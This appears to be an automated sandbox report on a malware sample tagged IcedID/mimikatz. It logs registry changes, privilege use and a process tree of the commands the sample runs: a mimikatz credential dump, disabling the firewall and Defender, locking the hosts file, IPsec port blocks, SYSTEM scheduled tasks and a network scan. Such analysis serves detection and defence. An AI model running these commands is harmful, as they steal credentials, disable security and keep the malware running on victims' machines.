\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-100 = "DHCP Quarantine Enforcement Client" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101 = "Provides RD Gateway enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-03-68-cd-71-0b\WpadDecisionReason = "1" yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\aa-03-68-cd-71-0b yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{435F4A4E-790A-4A11-B4B3-807F1F0DF037} yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings yrklftl.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump vekeuubbl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections yrklftl.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{435F4A4E-790A-4A11-B4B3-807F1F0DF037}\aa-03-68-cd-71-0b yrklftl.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-102 = "Microsoft Corporation" netsh.exe -
Modifies registry class 14 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ yrklftl.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" yrklftl.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ yrklftl.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 yrklftl.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 yrklftl.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 2252 PING.EXE -
Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 1988 yrklftl.exe 3976 yrklftl.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe -
Suspicious behavior: LoadsDriver 31 IoCs
pid Process 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found 480 Process not Found -
Suspicious behavior: RenamesItself 1 IoCs
pid Process 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
description pid Process Token: SeDebugPrivilege 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2544 yrklftl.exe Token: SeDebugPrivilege 2652 yrklftl.exe Token: SeDebugPrivilege 2212 vfshost.exe Token: SeAuditPrivilege 2664 svchost.exe Token: SeDebugPrivilege 956 vekeuubbl.exe Token: SeShutdownPrivilege 956 vekeuubbl.exe Token: SeLockMemoryPrivilege 2936 mitzpm.exe Token: SeLockMemoryPrivilege 2936 mitzpm.exe Token: SeDebugPrivilege 1836 vekeuubbl.exe Token: SeShutdownPrivilege 1836 vekeuubbl.exe Token: SeDebugPrivilege 884 vekeuubbl.exe Token: SeShutdownPrivilege 884 vekeuubbl.exe Token: SeDebugPrivilege 3044 vekeuubbl.exe Token: SeShutdownPrivilege 3044 vekeuubbl.exe Token: SeDebugPrivilege 1724 vekeuubbl.exe Token: SeShutdownPrivilege 1724 vekeuubbl.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe 2544 yrklftl.exe 2544 yrklftl.exe 2652 yrklftl.exe 2652 yrklftl.exe 2088 xohudmc.exe 3000 rifzsk.exe 1988 yrklftl.exe 1988 yrklftl.exe 3976 yrklftl.exe 3976 yrklftl.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2028 wrote to memory of 2132 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe 28 PID 2028 wrote to memory of 2132 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe 28 PID 2028 wrote to memory of 2132 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe 28 PID 2028 wrote to memory of 2132 2028 2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe 28 PID 2132 wrote to memory of 2252 2132 cmd.exe 30 PID 2132 wrote to memory of 2252 2132 cmd.exe 30 PID 2132 wrote to memory of 2252 2132 cmd.exe 30 PID 2132 wrote to memory of 2252 2132 cmd.exe 30 PID 2132 wrote to memory of 2544 2132 cmd.exe 31 PID 2132 wrote to memory of 2544 2132 cmd.exe 31 PID 2132 wrote to memory of 2544 2132 cmd.exe 31 PID 2132 wrote to memory of 2544 2132 cmd.exe 31 PID 2652 wrote to memory of 2888 2652 yrklftl.exe 33 PID 2652 wrote to memory of 2888 2652 yrklftl.exe 33 PID 2652 wrote to memory of 2888 2652 yrklftl.exe 33 PID 2652 wrote to memory of 2888 2652 yrklftl.exe 33 PID 2888 wrote to memory of 2736 2888 cmd.exe 35 PID 2888 wrote to memory of 2736 2888 cmd.exe 35 PID 2888 wrote to memory of 2736 2888 cmd.exe 35 PID 2888 wrote to memory of 2736 2888 cmd.exe 35 PID 2888 wrote to memory of 2476 2888 cmd.exe 36 PID 2888 wrote to memory of 2476 2888 cmd.exe 36 PID 2888 wrote to memory of 2476 2888 cmd.exe 36 PID 2888 wrote to memory of 2476 2888 cmd.exe 36 PID 2888 wrote to memory of 2800 2888 cmd.exe 37 PID 2888 wrote to memory of 2800 2888 cmd.exe 37 PID 2888 wrote to memory of 2800 2888 cmd.exe 37 PID 2888 wrote to memory of 2800 2888 cmd.exe 37 PID 2888 wrote to memory of 2480 2888 cmd.exe 38 PID 2888 wrote to memory of 2480 2888 cmd.exe 38 PID 2888 wrote to memory of 2480 2888 cmd.exe 38 PID 2888 wrote to memory of 2480 2888 cmd.exe 38 PID 2888 wrote to memory of 2576 2888 cmd.exe 39 PID 2888 wrote to memory of 2576 2888 cmd.exe 39 PID 2888 wrote to memory of 2576 2888 cmd.exe 39 PID 2888 wrote to memory of 2576 2888 cmd.exe 39 PID 2888 wrote to memory of 2724 2888 cmd.exe 40 PID 2888 wrote to memory of 2724 2888 cmd.exe 40 PID 2888 wrote to memory of 2724 2888 cmd.exe 40 PID 2888 wrote to memory of 2724 2888 cmd.exe 40 PID 2652 wrote to memory of 2440 2652 yrklftl.exe 41 PID 2652 wrote to memory of 2440 2652 yrklftl.exe 41 PID 2652 wrote to memory of 2440 2652 yrklftl.exe 41 PID 2652 wrote to memory of 2440 2652 yrklftl.exe 41 PID 2652 wrote to memory of 1648 2652 yrklftl.exe 43 PID 2652 wrote to memory of 1648 2652 yrklftl.exe 43 PID 2652 wrote to memory of 1648 2652 yrklftl.exe 43 PID 2652 wrote to memory of 1648 2652 yrklftl.exe 43 PID 2652 wrote to memory of 1268 2652 yrklftl.exe 45 PID 2652 wrote to memory of 1268 2652 yrklftl.exe 45 PID 2652 wrote to memory of 1268 2652 yrklftl.exe 45 PID 2652 wrote to memory of 1268 2652 yrklftl.exe 45 PID 2652 wrote to memory of 2860 2652 yrklftl.exe 47 PID 2652 wrote to memory of 2860 2652 yrklftl.exe 47 PID 2652 wrote to memory of 2860 2652 yrklftl.exe 47 PID 2652 wrote to memory of 2860 2652 yrklftl.exe 47 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2860 wrote to memory of 2960 2860 cmd.exe 49 PID 2960 wrote to memory of 1436 2960 wpcap.exe 50
Processes
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:348
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C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"C:\Windows\TEMP\lbiqgtsub\mitzpm.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2936
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C:\Users\Admin\AppData\Local\Temp\2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-06-04_751ab61e0808585777f684097dd5cf7d_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2028 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\gtgcurlb\yrklftl.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2252
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2544
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C:\Windows\gtgcurlb\yrklftl.exeC:\Windows\gtgcurlb\yrklftl.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2652 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2888 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2736
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2476
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2800
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2480
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2576
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C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2724
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2440
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:1648
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵PID:1268
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2860 -
C:\Windows\iibfpugis\fewectaiq\wpcap.exeC:\Windows\iibfpugis\fewectaiq\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:1436
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2508
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C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:1856
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2328
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C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1892
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2780
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C:\Windows\SysWOW64\net.exenet start npf4⤵PID:3016
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:1344
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:3040
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2904
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2420
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C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:560
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C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2900
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:1244
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt2⤵
- Loads dropped DLL
PID:540 -
C:\Windows\iibfpugis\fewectaiq\itcusielr.exeC:\Windows\iibfpugis\fewectaiq\itcusielr.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\iibfpugis\fewectaiq\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:804
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C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\iibfpugis\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1968 -
C:\Windows\iibfpugis\Corporate\vfshost.exeC:\Windows\iibfpugis\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2212
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"2⤵PID:1028
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2380
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "uupfsiits" /ru system /tr "cmd /c C:\Windows\ime\yrklftl.exe"3⤵
- Creates scheduled task(s)
PID:2300
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"2⤵PID:1044
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:628
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "itklbrcac" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gtgcurlb\yrklftl.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1820
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C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"2⤵PID:912
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2520
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C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "bubipuefr" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\lbiqgtsub\mitzpm.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:2076
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:2896
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2164
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1804
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2568
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵PID:2668
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2660
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2612
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:2504
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:2456
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵PID:2096
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2792
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C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2828
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C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:2716
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C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵PID:1692
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵PID:1436
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C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵PID:3012
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C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:2496
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C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵PID:2324
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C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
PID:1960
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C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵PID:3028
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C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵PID:2860
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵PID:2112
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C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵PID:1892
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C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵PID:2968
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵PID:2420
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C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵PID:2776
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C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵PID:2940
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵PID:2040
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C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵PID:1664
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C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
PID:2956
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C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵PID:1536
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C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
PID:1016
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C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵PID:1444
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
PID:2424
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C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵PID:2168
